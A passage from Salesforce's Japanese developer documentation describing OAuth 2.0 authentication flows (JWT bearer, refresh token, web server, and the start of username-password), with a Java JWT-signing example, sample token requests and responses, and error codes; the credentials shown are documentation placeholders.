4. JWT 要求セットを改行なしで Base64url エンコードします。以下に例を示します。
eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0su
Qm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAibXlAZW1haWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
Njg1NjI4In0=

5. エンコードされた JWT ヘッダーおよびエンコードされた JWT 要求セットの文字列を次の形式で作成します。
encoded_JWT_Header + "." + encoded_JWT_Claims_Set

次の例では、エンコードされた JWT ヘッダーが強調表示されています。
eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0su
Qm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAibXlAZW1haWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
Njg1NjI4In0=

6. 結果の文字列に RSA SHA256 を使用して署名します。
7. 次の形式で、このステップの文字列を作成します。

existing_string + "." + base64_encoded_signature
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次の例では、base64 エンコードされた署名の開始が強調表示されています。
eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiAiM01WRzk5T3hUeUVNQ1EzZ05wMlBqa3FlWkt4bm1BaUcxeFY0b0hoOUFLTF9yU0su
Qm9TVlBHWkhRdWtYblZqelJnU3VRcUduNzVOTDd5ZmtRY3l5NyIsICJwcm4iOiAibXlAZW1haWwu
Y29tIiwgImF1ZCI6ICJodHRwczovL2xvZ2luLnNhbGVzZm9yY2UuY29tIiwgImV4cCI6ICIxMzMz
Njg1NjI4In0=.iYCthqWCQucwi35yFs-nWNgpF5NA_a46fXDTNIY8ACko6BaEtQ9E6h4Hn1l_pcwcK
I_GlmfUO2dJDg1A610t09TeoPagJsZDm_H83bsoZUoI8LpAA1s-2aj_Wbysqb1j4uDToz
480WtEbkwIv09sIeS_-QuWak2RXOl1Krnf72mpVGS4WWSULodgNzlKHHyjAMAHiBHIDNt
36y2L2Bh7M8TNWiKa_BNM6s1FNKDAwHEWQrNtAeReXgRy0MZgQY2rZtqT2FcDyjY3JVQb
En_CSjH2WV7ZlUwsKHqGfI7hzeEvVdfOjH9NuaJozxvhPF489IgW6cntPuT2V647JWi7ng

次の Java コードは JWT べアラートークンの簡単な作成例です。
import org.apache.commons.codec.binary.Base64;
import java.io.*;
import java.security.*;
import java.text.MessageFormat;

public class JWTExample {

public static void main(String[] args) {

String header = "{\"alg\":\"RS256\"}";
String claimTemplate = "'{'\"iss\": \"{0}\", \"sub\": \"{1}\", \"aud\": \"{2}\",

\"exp\": \"{3}\"'}'";

try {
StringBuffer token = new StringBuffer();

//Encode the JWT Header and add it to our string to sign
token.append(Base64.encodeBase64URLSafeString(header.getBytes("UTF-8")));

//Separate with a period
token.append(".");

//Create the JWT Claims Object
String[] claimArray = new String[4];
claimArray[0] =

"3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQukXnVjzRgSuQqGn75NL7yfkQcyy7";
claimArray[1] = "my@email.com";
claimArray[2] = "https://login.salesforce.com";
claimArray[3] = Long.toString( ( System.currentTimeMillis()/1000 ) + 300);
MessageFormat claims;
claims = new MessageFormat(claimTemplate);
String payload = claims.format(claimArray);

//Add the encoded claims object
token.append(Base64.encodeBase64URLSafeString(payload.getBytes("UTF-8")));

//Load the private key from a keystore
KeyStore keystore = KeyStore.getInstance("JKS");
keystore.load(new FileInputStream("./path/to/keystore.jks"),

"keystorepassword".toCharArray());
PrivateKey privateKey = (PrivateKey) keystore.getKey("certalias",

"privatekeypassword".toCharArray());
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//Sign the JWT Header + "." + JWT Claims Object
Signature signature = Signature.getInstance("SHA256withRSA");
signature.initSign(privateKey);
signature.update(token.toString().getBytes("UTF-8"));
String signedPayload = Base64.encodeBase64URLSafeString(signature.sign());

//Separate with a period
token.append(".");

//Add the encoded signature
token.append(signedPayload);

System.out.println(token.toString());

} catch (Exception e) {
e.printStackTrace();

}
}

}

JWT ベアラートークンの使用
JWT ベアラートークンを https://login.salesforce.com/services/oauth2/token または
https://test.salesforce.com/services/oauth2/token にあるトークンエンドポイントに POST する
か、コミュニティに実装する場合は https://acme.force.com/customers/services/oauth2/token

(acme.force.com/customers はコミュニティ URL) にあるトークンエンドポイントに POST します。
POST するときは、次のパラメータが必要です。
• grant_type  — urn:ietf:params:oauth:grant-type:jwt-bearer

• assertion  — JWT べアラートークン
追加の標準パラメータ:

• format  — 応答の形式は、token パラメータを使用して OAuth フローとして指定するか、HTTP Accept ヘッ
ダーとして指定できます。

• scope  — 範囲はフローではサポートされていません。このパラメーターの値は、前の承認の範囲の組み合
わせです。

トークン要求の例を次に示します。
POST /services/oauth2/token HTTP/1.1
Host: login.example.com
Content-Type: application/x-www-form-urlencoded

grant_type=
urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=eyJpc3MiOiAiM01WRz...[omitted
for brevity]...ZT
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サーバによるトークンの確認
要求の確認後、Salesforceからクライアントにレスポンスが送信されます。OAuth 2.0 JWT べアラートークンのトー
クン応答は、authorization_code フローと同じ形式に従っていますが、refresh_token が発行されるこ
とはありません。JWT OAuth 2.0 べアラーアサーション要求は、refresh_token を含むユーザの前のすべての
承認を確認します。一致する承認が複数見つかった場合は、承認された範囲の値を組み合わせてaccess_token

が発行されます ("token_type"の値は "Bearer")。 以前に refresh_tokenを含む承認がなかった場合は、
承認された範囲は使用できません。また、要求は未認証として失敗します。
コミュニティに実装する場合、トークンエンドポイント内の "sfdc_community_id" 値には、Chatter REST API

要求で必要な可能性があるコミュニティ ID が含まれます。

メモ: access_tokenを取得したら、認証ヘッダー要求でベアラートークンとして渡すことができます。
コミュニティへの REST API コールの例を次に示します。
https://acme.force.com/customers/services/data/v32.0/ -H "Authorization: Bearer
00D50000000IehZ\!AQcAQH0dMHZfz972Szmpkb58urFRkgeBGsxL_QJWwYMfAbUeeG7c1E6
LYUfiDUkWe6H34r1AAwOR8B8fLEz6n04NPGRrq0FM"

エラー
JWT べアラートークンの処理時にエラーが発生した場合、サーバは、トークンを無効とみなした理由と共に標
準の OAuth エラー応答を返します。次にエラー応答の例を示します。
HTTP/1.1 400 Bad Request
Content-Type: application/json
Cache-Control: no-store
{
"error":"invalid_grant",
"error_description":"Audience validation failed"

}

関連トピック:

OAuth によるアプリケーションの認証
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OAuth 2.0 更新トークンフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

OAuth 2.0 更新トークンフローの目的は、Web サーバまたはユーザエージェントフ
ローによって発行されたトークンを更新することです。
コンシューマのアクセスが認証されたら、コンシューマは更新トークンを使用
して新しいアクセストークン (セッション ID) を取得できます。このプロセスは、
コンシューマが Web サーバフローまたはユーザエージェントフローのいずれか
を使用して更新トークンを受信した場合にのみ実行できます。アクセストーク
ンを無効にするタイミングおよび新しいトークンを適用するタイミングを決定
するのは、コンシューマです。べアラーフローは、コンシューマが更新トーク
ンを受信した後でのみ使用できます。
更新トークンの認証フローを使用する手順は、次のとおりです。
1. コンシューマは既存の更新トークンを使用して、新しいアクセストークンを

要求します。
2. 要求の確認後、Salesforce からクライアントに応答が送信されます。

コンシューマの要求によるアクセストークンの更新
コンシューマは更新トークンを使用して、必要に応じて新しいセッションを取得します。
コンシューマはトークンエンドポイントに対して POST 要求を行います。パラメータは次のとおりです。
• grant_type  — このフローの値は refresh_token である必要があります。
• refresh_token  — 承認ステップのトークンを更新します。
• client_id  — 接続アプリケーション定義のコンシューマ鍵。
• client_secret  — 省略可能。接続アプリケーション定義のコンシューマの秘密。
• client_assertion  — client_secret を渡す代わりに、client_assertion および

client_assertion_typeを提供できます。client_secretパラメータが提供されていない場合、Salesforce

は client_assertion および client_assertion_type があるかどうかをチェックします。
client_assertion の値は、OAuth コンシューマがアップロードした証明書に関連付けられている非公開
鍵で署名された一般的な JWT ベアラートークンである必要があります。RS256 アルゴリズムのみサポートさ
れています。client_assertionの使用についての詳細は、private_key_jwtクライアント認証方式の
OpenID Connect の仕様を参照してください。

• client_assertion_type  — client_assertion パラメータを使用するときにこの値を指定します。
client_assertion_type の値は、urn:ietf:params:oauth:client-assertion-type:jwt-bearer

でなければなりません。
• format  — (省略可能) 予測される戻り形式。値は次のとおりです。

– urlencoded

– json  (デフォルト)

– xml
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トークンエンドポイントへの帯域外 POST 本文の例を次に示します。
POST /services/oauth2/token HTTP/1.1
Host: https://login.salesforce.com/
grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0
QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571
&refresh_token=your token here

formatパラメータを使用する代わりに、クライアントは次のいずれかを使用して、受け入れ要求ヘッダーの
返される形式も指定できます。
• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

Salesforce サーバによるレスポンスの送信
要求の確認後、Salesforceからクライアントにレスポンスが送信されます。次のパラメータはレスポンスボディ
内にあります。
• access_token  — Web サービス API で使用できる Salesforce セッション ID。
• token_type  — 値は、アクセストークンを含むすべての応答の Bearer です。
• instance_url  — ユーザの組織のインスタンスを示す URL たとえば、

https://yourInstance.salesforce.com/ です。
• id  — ユーザと、ユーザの詳細に関するクエリの両方を識別するために使用できる ID URL。「ID URL」 (ペー

ジ 6804)を参照してください。
• sfdc_community_url  — ユーザが Salesforce コミュニティのメンバーである場合、コミュニティ URL が提

供されます。
• sfdc_community_id  — ユーザが Salesforce コミュニティのメンバーである場合、ユーザのコミュニティ ID

が提供されます。
• signature  — 連結 ID と issued_at を含むコンシューマの非公開キーで署名されている Base64 エンコード

された HMAC-SHA256 署名。ID URL がサーバから送信された後に変更されていないことを確認するために使用
します。

• issued_at  — 証明が作成されたとき。
Salesforce からの JSON のレスポンスの例を次に示します。
{ "id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448384422","instance_url":"https://yourInstance.salesforce.com/",
"signature":"SSSbLO/gBhmmyNUvN18ODBDFYHzakxOMgqYtu+hDPsc=",
"access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7T
rqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}

XML のレスポンスの例を次に示します。
<Oauth>

<access_token>00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0RNB
aT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4

</access_token>
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<token_type>Bearer
</token_type>
<scope>id api refresh_token
</scope>
<instance_url>https://yourInstance.salesforce.com/</instance_url>
<id>https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P</id>
<issued_at>1278448101416</issued_at>
<signature>CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe+fVg=</signature>

</Oauth>

URL エンコードされた例を次に示します。
access_token=00Dx0000000BV7z%21AR8AQP0jITN80ESEsj5EbaZTFG0RNBaT1cyWk7TrqoDjoNIWQ2
ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4
&token_type=Bearer&scope=id%20api%20refresh_token
&instance_url=https%3A%2F%2FyourInstance.salesforce.com
&id=https%3A%2F%2Flogin.salesforce.com%2Fid%2F00Dx0000000BV7z%2F005x00000012Q9P
&issued_at=1278448101416
&signature=CMJ4l%2BCCaPQiKjoOEwEig9H4wqhpuLSk4J2urAe%2BfVg%3D

このステップで問題が発生した場合、次の情報を含むエラーメッセージがレスポンスに表示されます。
• error  — エラーコード
• error_description  — 追加情報を含むエラーの説明

– unsupported_response_type  — レスポンスタイプがサポートされていない
– invalid_client_id  — クライアント ID が無効
– invalid_request  — HTTPS が必要
– invalid_request  — HTTP POST を使用する必要がある
– invalid_client_credentials  — クライアントの秘密が無効
– invalid_request  — 秘密タイプがサポートされていない
– invalid_grant  — アクセストークンまたは更新トークンの期限切れ
– invalid_grant  — IP 制限または無効なログイン時間帯
– inactive_user  — ユーザが無効
– inactive_org  — 組織がロックされているか、閉じられているか、中断されている
– rate_limit_exceeded  — ログイン数が超過した
– invalid_scope  — 要求された範囲が無効、不明、または誤った形式である

エラーレスポンスの例を次に示します。
{"error":"invalid_client_credentials","error_description":"client secret invalid"}

関連トピック:

OAuth によるアプリケーションの認証
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OAuth 2.0 Web サーバ認証フロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

Web サーバ認証フローは、安全なサーバでホストされているアプリケーション
で使用されます。Web サーバフローでの重要な点は、サーバがコンシューマの
秘密を保護できる必要があるということです。また、コード確認を使用し、フ
ロー内の値を検証して、認証コードの傍受を防ぐことができます。

1. Web サーバは、ユーザの代理でデータにアクセスできるようサーバを認証および承認するために、ユーザ
を Salesforce にリダイレクトします。

2. ユーザがアクセスを承認したら、Web サーバは認証コードを含むコールバックを受信します。
3. 認証コードを取得したら、Web サーバは認証コードを返してトークン応答を取得します。
4. 認証コードの確認後、Salesforce はトークン応答を返します。エラーがなければ、トークン応答には、アク

セスコードおよび追加情報が含まれます。
5. トークンが付与されたら、Web サーバはユーザのデータにアクセスします。
Web サーバがアクセストークンを入手したら、クライアントはそのアクセストークンを使用して、エンドユー
ザの代理でSalesforceデータにアクセスできます。また、何らかの理由でアクセストークンが無効になった場合
は、更新トークンを使用して新しいアクセストークンを取得します。

アクセス認証を取得するためのユーザのリダイレクト
ユーザからの認証を取得して、代理でSalesforceデータにアクセスするために、クライアントは次のパラメータ
を指定して認証エンドポイントにユーザのブラウザをリダイレクトします。
• response_type  — このフローの値は code である必要があります。
• client_id  — 接続アプリケーション定義のコンシューマ鍵。
• scope  — 範囲値のスペース区切りのリスト。scopeパラメータでは、要求しているトークンに関連付けら

れる権限を細かく設定できます。範囲は、接続アプリケーションの定義時に指定した値のサブセットです。
有効なパラメータについては、「範囲パラメータの値」 (ページ 6800)を参照してください。

• redirect_uri  — 承認後にユーザをリダイレクトする URI。この URI は接続アプリケーション定義の [コー
ルバック URL] 項目の値のいずれかに一致している必要があります。一致していない場合は、承認に失敗
します。この値は URL エンコードされている必要があります。
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• state  — (省略可能) コールバック URL に返すようにコンシューマから要求された状態。この値は URL エン
コードされている必要があります。

• immediate  — (省略可能) ログインと承認をユーザに要求するかどうかを決定する boolean 値。デフォルト
値は false です。次の点に注意してください。
– true に設定した場合、ユーザが現在ログインしており、すでに client_id を承認しているときは、

Salesforce は承認ステップをスキップします。
– trueに設定した場合で、ユーザがログインしていないか、クライアントをまだ承認していないときは、

Salesforce はエラーコード immediate_unsuccessful ですぐに終了します。

メモ: immediate オプションは、コミュニティでは使用できません。

• code_challenge  — トークン要求で code_verifier 値の SHA256 ハッシュ値を指定して、認証コードの
傍受攻撃を防ぐのに役立てます。この値も、https://tools.ietf.org/html/rfc4648#section-5の
定義に従って一度 base64url エンコードする必要があります。このパラメータは、code_verifierパラメー
タがトークン要求で指定された場合にのみ必要です。
– 認証要求で code_challenge 値が指定され、トークン要求で code_verifier 値が指定されている場

合、Salesforce により code_challenge が code_verifier と比較されます。code_challenge が無効
であるか一致しない場合、ログインが invalid_request エラーコードで失敗します。

– 認証要求で code_challenge 値が指定されていても、トークン要求で code_verifier 値が指定され
ていない場合、ログインが invalid_grant エラーコードで失敗します。

• display  — (省略可能) ログインおよび認証ページの表示の種類を変更します。Salesforce は次の値をサポー
トします。
– page  — 全画面認証ページ (デフォルト)

– popup  — 最新の Web ブラウザのポップアップウィンドウ用に最適化されたコンパクトなダイアログ
– touch  — Android や iPhone など、現在のスマートフォン用に設計された、モバイル用に最適化されたダ

イアログ
– mobile  — BlackBerry OS 5 など、機能の少ないスマートフォン用に設計された、モバイル用に最適化され

たダイアログ。
• login_hint  — ログインページにユーザ名を自動入力するための、有効なユーザ名の値を指定します。た

とえば、login_hint=username@company.com です。ユーザのブラウザにすでに有効なセッションがあ
る場合は、login_hint パラメータの影響はなく、有効なユーザセッションが継続されます。

• nonce  — ユーザ ID トークンを取得する場合の openid 範囲に使用できます (省略可能)。この値は応答で返
され、「リプレイ」攻撃の検出に役立ちます。

• prompt  — (省略可能) 認証サーバがユーザに再認証および再承認を求める方法を指定します。Salesforceは次
の値をサポートします。
– login  — 認証サーバはユーザに再認証を求めて、再ログインを強制する必要があります。
– consent  — 認証サーバはクライアントに情報を戻す前にユーザに再承認を求める必要があります。
– select_account  — 表示された場合は、次のアクションのいずれかを実行します。

• 0 または 1 個のヒントを使用可能でユーザがログイン済みの場合、ログインを要求することなく承認
ページを表示します。
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• 0 または 1 個のヒントを使用可能でユーザがログインしていない場合、ログインを要求します。
• 複数のヒントを使用可能な場合は、アカウント選択機能が表示されます。

ユーザにログインおよび再認証を求めるには、スペースで区切られた login および consent の値を渡す
ことができます。次に例を示します。
?prompt=login%20consent

フローを開始するには、通常 Web サーバはリンクを生成するか、ブラウザに HTTP リダイレクトを送信します。
Web サーバクライアントから認証エンドポイントへの要求の例を次に示します。
https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id=
3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA
9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate

ユーザがログインすると、Salesforceはユーザを承認ページにリダイレクトします。ユーザがログインしていな
い場合は、ログインを要求されます。次に、ユーザは承認ページにリダイレクトされ、アプリケーションにア
クセス権を付与します。ユーザがすでにアクセス権を承認している場合、アクセス権を再度承認する必要はあ
りません。

Web サーバが受信したコールバック
ユーザは、アクセスを承認すると、クエリ文字列に次の値が含まれる redirect_uri で指定された URI にリ
ダイレクトされます。
• code  — コンシューマがアクセストークンと更新トークンを取得するために使用する必要がある認証コー

ド。
• state  — 承認ステップに渡された状態。この値は、stateパラメータが元のクエリ文字列に含まれている

場合にのみ含まれます。
ユーザがすでにアクセス権を承認している場合、アクセス権を再度承認する必要はありません。
redirect_uri が受信する要求の例を次に示します。
https://www.mysite.com/code_callback.jsp?code=aPrxsmIEeqM9&state=mystate

ユーザがアプリケーションを拒否すると、クエリ文字列に次の値が含まれる redirect_uri にリダイレクト
されます。
• error  — 値は access_denied。
• state  — 承認ステップに渡された状態。この値は、stateパラメータが元のクエリ文字列に含まれている

場合にのみ含まれます。
次に例を示します。
https://www.mysite.com/code_callback.jsp?error=access-denied&state=mystate

このステップでエラーが発生した場合、次の情報を含むエラーメッセージが応答に表示されます。
• error  — エラーコード
• error_description  — 次の情報を含むエラーの説明

– unsupported_response_type  — レスポンスタイプがサポートされていない
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– invalid_client_id  — クライアント ID が無効
– invalid_request  — HTTPS が必要
– invalid_request  — HTTP GET を使用する必要がある
– invalid_request  — code_challenge 値が無効である (たとえば、base64url エンコードされていない)

– invalid_request  — フローでサポートされていないため、code_challenge パラメータが予期され
なかった

– access_denied  — ユーザが認証を拒否した
– redirect_uri_missing  — redirect_uri が指定されていない
– redirect_uri_mismatch  — redirect_uri が接続アプリケーション定義と一致しない
– immediate_unsuccessful  — すぐに失敗
– invalid_scope  — 要求された範囲が無効、不明、または誤った形式である

• state  — 承認ステップに渡された状態。この値は、stateパラメータが元のクエリ文字列に含まれている
場合にのみ含まれます。

Web サーバによる確認コードとアクセストークンの交換
認証コードを取得したら、Web サーバが認証コードをアクセストークンと交換します。
コンシューマはトークンエンドポイントに対して直接 POST を作成します。使用するパラメータは次のとおり
です。
• grant_type  — このフローの値は authorization_code である必要があります。
• client_id  — 接続アプリケーション定義のコンシューマ鍵。
• client_secret  — 接続アプリケーション定義のコンシューマの秘密。接続アプリケーションで [Web サー

バフローの秘密が必要] が有効になっていない限り、このパラメータが必要です。
• client_assertion  — client_secret を渡す代わりに、client_assertion および

client_assertion_typeを提供できます。client_secretパラメータが提供されていない場合、Salesforce

は client_assertion および client_assertion_type があるかどうかをチェックします。
client_assertion の値は、OAuth コンシューマがアップロードした証明書に関連付けられている非公開
鍵で署名された一般的な JWT ベアラートークンである必要があります。RS256 アルゴリズムのみサポートさ
れています。client_assertionの使用についての詳細は、private_key_jwtクライアント認証方式の
OpenID Connect の仕様を参照してください。

• client_assertion_type  — client_assertion パラメータを使用するときにこの値を指定します。
client_assertion_type の値は、urn:ietf:params:oauth:client-assertion-type:jwt-bearer

でなければなりません。
• redirect_uri  — 承認後にユーザをリダイレクトする URI。この値は、接続アプリケーション定義の [コー

ルバック URL] 項目の値に一致している必要があります。また、最初のリダイレクトによって送信された
値と同じである必要があります。「アクセス認証を取得するためのユーザのリダイレクト」 (ページ6775)を
参照してください。

• code  — 承認後にコールバックから取得される認証コード。
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• code_verifier  — 高エントロピの 128 バイトのランダムなデータを指定して値の推測を困難にすること
で、認証コードの傍受攻撃を防ぐのに役立てます。この値も、
https://tools.ietf.org/html/rfc4648#section-5の定義に従って一度 base64url エンコードする必
要があります。このパラメータは、code_challengeパラメータが認証要求で指定された場合にのみ必要
です。
– トークン要求で code_verifier 値が指定され、認証要求で code_challenge 値が指定されている場

合、Salesforce により code_verifier が code_challenge と比較されます。code_verifier が無効
であるか一致しない場合、ログインが invalid_grant エラーコードで失敗します。

– トークン要求で code_verifier 値が指定されていても、認証要求で code_challenge 値が指定され
ていない場合、ログインが invalid_grant エラーコードで失敗します。

• format  — (省略可能) 予測される戻り形式。値は次のとおりです。
– urlencoded

– json  (デフォルト)

– xml

帯域外で送信される POST の本文の例を次に示します。
POST /services/oauth2/token HTTP/1.1
Host: login.salesforce.com
grant_type=authorization_code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95_5JUZ
VEhsOFhS8EVvbfYBBJli2W5fn3zbo.8hojaNW_1g%3D%3D&client_id=3MVG9lKcPoNI
NVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCs
cA9GE&client_secret=1955279925675241571&
redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp

formatパラメータを使用する代わりに、クライアントは次のいずれかを使用して、受け入れ要求ヘッダーの
返される形式も指定できます。
• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

次の点に注意してください。
• ワイルドカードを受け入れるヘッダーが許可されます。*/* が受け入れられ、JSON を返します。
• 値のリストも受け入れられ、左から右に確認されます。たとえば、

application/xml,application/json,application/html,*/* は XML を返します。
• format パラメータは、受け入れ要求ヘッダーより優先されます。

Salesforce によるアクセストークン応答を使用した応答
要求の確認後、Salesforceからクライアントに応答が送信されます。次のパラメータはレスポンスボディ内にあ
ります。
• access_token  — Web サービス API で使用できる Salesforce セッション ID。
• token_type  — 値は、アクセストークンを含むすべての応答の Bearer です。
• id_token  — 「OpenID Connect の仕様」に適合する Salesforceの値。このパラメータが返されるのは、scope

パラメータに openid が含まれている場合のみです。
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• refresh_token  — 新しいアクセストークン (セッション) を取得するために将来使用できるトークン。こ
の値は秘密です。ユーザのパスワードなどと同様に処理し、適切な手段で保護します。このパラメータは、
少なくとも refresh_token の範囲を使用して接続アプリケーションが設定されている場合にのみ返され
ます。

• instance_url  — ユーザの組織のインスタンスを示す URL たとえば、
https://yourInstance.salesforce.com/ です。

• id  — ユーザと、ユーザの詳細に関するクエリの両方を識別するために使用できる ID URL。「ID URL」 (ペー
ジ 6804)を参照してください。

• sfdc_community_url  — ユーザが Salesforce コミュニティのメンバーである場合、コミュニティ URL が提
供されます。

• sfdc_community_id  — ユーザが Salesforce コミュニティのメンバーである場合、ユーザのコミュニティ ID

が提供されます。
• signature  — 連結 ID と issued_at を含むコンシューマの非公開キーで署名されている Base64 エンコード

された HMAC-SHA256 署名。ID URL がサーバから送信された後に変更されていないことを確認するために使用
します。

• issued_at  — 証明が作成されたとき。
Salesforce からの応答の例を次に示します。
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448101416","refresh_token":"5Aep8614iLM.Dq661ePDmPEgaAW9
Oh_L3JKkDpB4xReb54_pZebnUG0h6Sb4KUVDpNtWEofWM39yg==","instance_url":
"https://yourInstance.salesforce.com/","signature":"CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk
4J2urAe+fVg=","access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0R
NBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4","token_type":"Bearer","scope":"id
api refresh_token"}

エラーが発生した場合、次の情報を含むエラーメッセージが応答に表示されます。
• error  — エラーコード
• error_description  — 追加情報を含むエラーの説明

– unsupported_response_type  — レスポンスタイプがサポートされていない
– invalid_client_id  — クライアント ID が無効
– invalid_request  — HTTPS が必要
– invalid_request  — HTTP POST を使用する必要がある
– invalid_client_credentials  — クライアントの秘密が無効
– invalid_grant  — 無効な認証コード
– invalid_grant  — IP 制限または無効なログイン時間帯
– invalid_grant  — code_verifier値が無効である (たとえば、base64url エンコードされていない) か、

指定された code_challenge で無効な検証
– invalid_grant  — code_challengeが指定されていなかったため、code_verifierを予期しなかっ

た (ただし、指定された)

– redirect_uri_mismatch  — redirect_uri が指定されていない
– redirect_uri_mismatch  — redirect_uri が接続アプリケーション定義と一致しない
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– inactive_user  — ユーザがシステム管理者により無効に設定されている
– inactive_org  — 組織がロックされているか、閉じられているか、中断されている
– rate_limit_exceeded  — ログイン試行回数が超過した

関連トピック:

OAuth によるアプリケーションの認証

OAuth 2.0 ユーザ名パスワードフロー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

OAuth アプリケーションを
管理、作成、編集、およ
び削除する
• 「接続アプリケーショ

ンの管理」

コンシューマにすでにユーザのログイン情報がある場合、ユーザ名パスワード
認証フローを使用して認証します。

警告: この OAuth 認証フローでは、ユーザのログイン情報がやりとりされま
す。この認証フローは、必要な場合にのみ使用してください。更新トーク
ンは発行されません。

ユーザ名パスワード認証フローの手順は、次のとおりです。
1. コンシューマはユーザのユーザ名とパスワードを使用して、アクセストーク

ン (セッション ID) を要求します。
2. 要求の確認後、Salesforce からクライアントに応答が送信されます。
コンシューマはアクセストークンを入手したら、そのアクセストークンを使用
してユーザの代理で Salesforce データにアクセスします。

アクセストークンの要求
コンシューマはユーザのユーザ名とパスワードを使用してアクセストークンを
要求できます。このアクセストークンは、セッション ID として使用できます。このフローでは、要求に範囲
を含めることができないため、このフローから返されるアクセストークンで範囲は取得されません。
コンシューマは、トークンエンドポイントに対して帯域外 POST 要求を行います。使用するパラメータは次の
とおりです。
• grant_type  — このフローの値は password である必要があります。
• client_id  — 接続アプリケーション定義のコンシューマ鍵。
• client_secret  — 接続アプリケーション定義のコンシューマの秘密。
• username  — ユーザのユーザ名。
• password  — ユーザのパスワード。

メモ: API でユーザ名パスワードフローを使用するときに、ユーザ名とパスワードのログイン画面内
に、ユーザがセキュリティトークンを入力できる項目を作成してください。セキュリティトークン
は、信頼されないネットワークから Salesforce にログインするためにパスワードの末尾に追加する必要
のあるキーで、自動生成されます。認証要求を渡すときに、パスワードとトークンを連結する必要が
あります。

• format  — (省略可能) 予測される戻り形式。値は次のとおりです。
– urlencoded
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– json  (デフォルト)

– xml

帯域外 POST の本文の例を次に示します。
grant_type=password&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82Hn
FVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=
1955279925675241571&username=testuser%40salesforce.com&password=mypassword

応答の送信
要求の確認後、Salesforceからクライアントにレスポンスが送信されます。次のパラメータはレスポンスボディ
内にあります。
• access_token  — Web サービス API で使用できる Salesforce セッション ID。
• token_type  — 値は、アクセストークンを含むすべての応答の Bearer です。
• instance_url  — ユーザの組織のインスタンスを示す URL たとえば、

https://yourInstance.salesforce.com/ です。
• id  — ユーザと、ユーザの詳細に関するクエリの両方を識別するために使用できる ID URL。「ID URL」 (ペー

ジ 6804)を参照してください。
• signature  — 連結 ID と issued_at を含むコンシューマの非公開キーで署名されている Base64 エンコード

された HMAC-SHA256 署名。ID URL がサーバから送信された後に変更されていないことを確認するために使用
します。

• issued_at  — 証明が作成されたとき。

メモ: この応答は更新トークンを送信しません。

応答の例を次に示します。
{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"issued_at":"1278448832702","instance_url":"https://yourInstance.salesforce.com/",
"signature":"0CmxinZir53Yex7nE0TD+zMpvIWYGb/bdJh6XfOH6EQ=","access_token":
"00Dx0000000BV7z!AR8AQAxo9UfVkh8AlV0Gomt9Czx9LjHnSSpwBMmbRcgKFmxOtvxjTrKW1
9ye6PE3Ds1eQz3z8jr3W7_VbWmEu4Q8TVGSTHxs","token_type":"Bearer"}

問題が発生した場合、次の情報を含むエラーメッセージが応答に表示されます。
• error  — エラーコード
• error_description  — 追加情報を含むエラーの説明

– unsupported_response_type  — レスポンスタイプがサポートされていない
– invalid_client_id  — クライアント ID が無効
